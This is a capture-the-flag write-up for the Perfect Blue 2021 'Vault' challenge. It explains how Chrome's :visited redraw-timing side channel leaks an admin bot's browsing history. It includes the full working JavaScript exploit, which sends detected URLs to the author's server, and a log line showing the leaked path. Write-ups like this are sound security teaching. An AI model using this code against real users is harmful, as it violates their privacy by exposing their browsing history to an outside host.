This weekend I participated in the 2021 Perfect Blue CTF. This is my writeup for the Vault challenge
Challenge
Can you unlock the secret from the vault?
http://vault.chal.perfect.blue/
Notes The admin will visit
http://vault.chal.perfect.blue/
Author: vakzz
We're presented with a page containing the numbers 1- 32, along with a report link feature. If you click on the numbers enough layers deep, you'll eventually allowed to put text into the page (Just text, no XSS). The layers form a directory structure in the url.
The report url feature triggers headless chrome to click through a bunch of numbers at random. After it goes 14 layers deep it inputs the flag on to the page. After that it navigates to whatever page you reported. Note: Unlike some of the other challenges, the headless chrome instance is not in incognito mode. This is important for the challenge.
It seems clear, that the goal is to try and find some way to read the history of the browser that visits your page.
Exploit
I spent a lot time banging my head against this one. Surely it should be impossible to see the user's history. That would be a major privacy violation. After all, isn't that why the :visited CSS pseudo-class is so restricted? Turns out its not restricted enough.
In trying to solve this problem, I read through https://xsleaks.dev/ - which is a great resource for unintuitive security properties in browsers. https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history lead me to a chrome bug https://bugs.chromium.org/p/chromium/issues/detail?id=252165 which had a proof of concept for leaking history through timing side channels using :visited pseudo class. The bug is wontfix - I guess browser-vendors at some point just decided to give up on preventing this type of leak. One caveat though, is :visited is totally disabled in incognito mode, so it doesn't work in that mode.
It took some fiddling with the parameters to make the PoC work in the time limit that the report-url bot had. The PoC seemed to be much slower on the report bot than it was locally. I eventually found that using a text-shadow of black 1px 1px 20px, a font-size of 2px, 150 links and 10000 link length gave good results.
I then modified it to look for vault urls, and had it send the results to my server. See below for the exact code used
Eventually I got a log entry that looked like:
35.236.236.57 - - [10/Oct/2021:09:40:51 +0000] "GET /log?http%3A%2F%2Fvault.chal.perfect.blue%2F17%2F6%2F7%2F28%2F25%2F22%2F32%2F2%2F12%2F2%2F16%2F24%2F6%2F29%2F HTTP/1.1" 404 489 "http://bawolff.net/visitedchrome.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4655.0 Safari/537.36"
And sure enough http://vault.chal.perfect.blue/17/6/7/28/25/22/32/2/12/2/16/24/6/29/ had the flag (I think there's some max-age stuff, so it doesn't have the flag anymore)
Appendix - timing attack code
I was more concerned with getting the exploit working than nice code, so I took the existing PoC and made minor modifications. The result is some not very clear code. I would encourage you to look at the original PoC linked from https://bugs.chromium.org/p/chromium/issues/detail?id=252165#c2 first. To be clear, all the smart stuff about this was not made by me
<!DOCTYPE html> <html> <head> <style> #out a { color: blue } #out a:visited { color: purple } </style> <style> #out { font-size: 5px; overflow: hidden; padding: 20px; width:35%; } #stats { position:absolute; right:0; top: 60px; left: 40%} p { margin: 4px 0 } .linklist span.visited { visibility: hidden; color: white; background: green; border-radius: 5px; padding: 2px; font-size: 8pt } .linklist span.visited.yes { visibility: visible } .linklist .timings { font-family: monospace; font-size:8pt } </style> </head> <body onload="updateParams()"> <h1>Detecting Visited Links via Redraw Timing</h1> <div xonkeyup="updateParams()"> <p>text-shadow: <input id="text-shadow" value="black 1px 1px 20px" size="50"></p> <p>opacity: <input id="opacity" size="2" value="1"> font-size: <input id="font-size" size="2" value="3">px</p> <p>Links: <input id="textlines" value="150" size="2"> Link Length: <input id="textlen" value="10000" size="2"></p> </div> <div id="out" > </div> <div id="stats"> <p>Current URL: <span id="currentURL"></span></p> <p id="nums"></p> <button onclick="updateParams()">Start</button><button onclick="stop=true">Stop</button> <div id="log"></div> </div> <script> function log(param) { x = new XMLHttpRequest; x.open( 'GET', 'http://bawolff.net/log?' + encodeURIComponent(param), true ); x.send(); console.log( param ); } log( "start" ); var baseUrl = 'http://vault.chal.perfect.blue/'; var urls; function updateUrls(setup) { urls = [document.location.href, 'http://notvisited' + ((Math.random()*100000000)|0)+'.foo' ] for ( i = 1; i <=32; i++ ) { urls[urls.length] = baseUrl + i + '/'; } if (setup) { setupLinks(); } } updateUrls(); requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame; var out = document.getElementById('out'); var currentURLout = document.getElementById('currentURL'); var linkspans = []; var timespans = []; var counter = 0; var posTimes = []; var negTimes = []; var stop = true; var start; var currentUrl = 0; var calibIters = 10; function initStats() { currentUrl = 0; start = NaN; counter = 0; posTimes = []; negTimes = []; if (stop) { stop = false; loop(); } } function updateParams() { out.style.textShadow = document.getElementById('text-shadow').value; out.style.opacity = parseFloat(document.getElementById('opacity').value); out.style.fontSize = document.getElementById('font-size').value + 'px'; textLines = parseInt(document.getElementById('textlines').value); textLen = parseInt(document.getElementById('textlen').value); log( "trying-" + textLines + '-' + textLen ); write(); resetLinks(); initStats(); } function write() { var s = ''; var url = urls[currentUrl]; var text =''; while (text.length < textLen) text += '#'; for (var i=0; i<textLines; i++) { s += "<a href="+url; s += ">"+text; s += "</a> "; } out.innerHTML = s; } function updateLinks() { var url = urls[currentUrl]; for (var i=0; i<out.children.length; i++) { out.children[i].href = url; out.children[i].style.color='red'; out.children[i].style.color=''; } } function resetLinks() { for (var i=0; i<out.children.length; i++) { out.children[i].href = 'http://' + Math.random() + '.asd'; out.children[i].style.color='red'; out.children[i].style.color=''; } } function median(list){ list.sort(function(a,b){return a-b}); if (list.length % 2){ var odd = list.length / 2 - 0.5; return list[odd]; }else{ var even = list[list.length / 2 - 1]; even += list[list.length / 2]; even = even / 2; return even; } } var attempts = 0; function loop(timestamp) { if (stop) return; var diff = (timestamp - start) | 0; start = timestamp; if (!isNaN(diff)) { counter++; if (counter%2 == 0) { resetLinks(); if (counter > 4) { if (currentUrl == 0) { // calibrating visited document.getElementById('nums').textContent = 'Calibrating...'; posTimes.push(diff); timespans[currentUrl].textContent = posTimes.join(', '); } if (currentUrl == 1) { // calibrating unvisited negTimes.push(diff); timespans[currentUrl].textContent = negTimes.join(', '); if (negTimes.length >= calibIters) { var medianPos = median(posTimes); var medianNeg = median(negTimes); // if calibration didn't find a big enough difference between pos and neg, // increase number of links and try again if (medianPos - medianNeg < 60) { document.getElementById('textlines').value = textLines + 50; document.getElementById('textlen').value = textLen + 2; stop = true; updateParams(); return; } threshold = medianNeg + (medianPos - medianNeg)*.75; document.getElementById('nums').textContent = 'Median Visited: ' + medianPos + 'ms / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms'; log( "Calibrated " + textLines +';' + textLen + '. Median Visited: ' + medianPos + 'ms / Median Unvisited: ' + medianNeg + 'ms / Threshold: ' + threshold + 'ms' + ' diff:' + (medianPos - medianNeg) ); timeStart = Date.now(); } } if (currentUrl >= 2) { timespans[currentUrl].textContent = diff; linkspans[currentUrl].className = (diff >= threshold)? 'visited yes' : 'visited'; incUrl = true; if ( diff >= threshold ) { stop = true; attempts = 0; log( urls[currentUrl] ); baseUrl = urls[currentUrl]; updateUrls(false); currentUrl = 2; stop = false; requestAnimationFrame(loop); //updateParams(); return; } } currentUrl++; // keep testing first two links until calibration is completed if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) currentUrl = 0; if (currentUrl == urls.length) { if (attempts > 5 ) { timeElapsed = (Date.now() - timeStart) / 1000; log("DONE: Time elapsed: " + timeElapsed + "s, tested " + (((urls.length -2)/timeElapsed)|0) + " URLs/sec"); stop = true; } else { attempts++; log( "Trying again" ); currentUrl = 2; } } currentURLout.textContent = urls[currentUrl]; } } else { updateLinks(); } } requestAnimationFrame(loop); } function setupLinks() { var table = document.createElement('table'); table.innerHTML = '<tr><th></th><th>URL</th><th>Times (ms)</th></tr>'; table.className = 'linklist'; for (var i=0; i < urls.length; i++) { var a = document.createElement('a'); a.href = urls[i]; a.textContent = urls[i]; var times = document.createElement('span'); times.className = 'timings'; var tick = document.createElement('span'); tick.textContent = '\u2713'; tick.className = 'visited'; var tr = document.createElement('tr'); for (var j=0; j<3; j++) tr.appendChild(document.createElement('td')); tr.cells[0].appendChild(tick); tr.cells[1].appendChild(a); tr.cells[2].appendChild(times); table.appendChild(tr); timespans[i] = times; linkspans[i] = tick; } document.getElementById('log').appendChild(table); } setupLinks(); //setTimeout(loop, 2000); </script> </body> </html>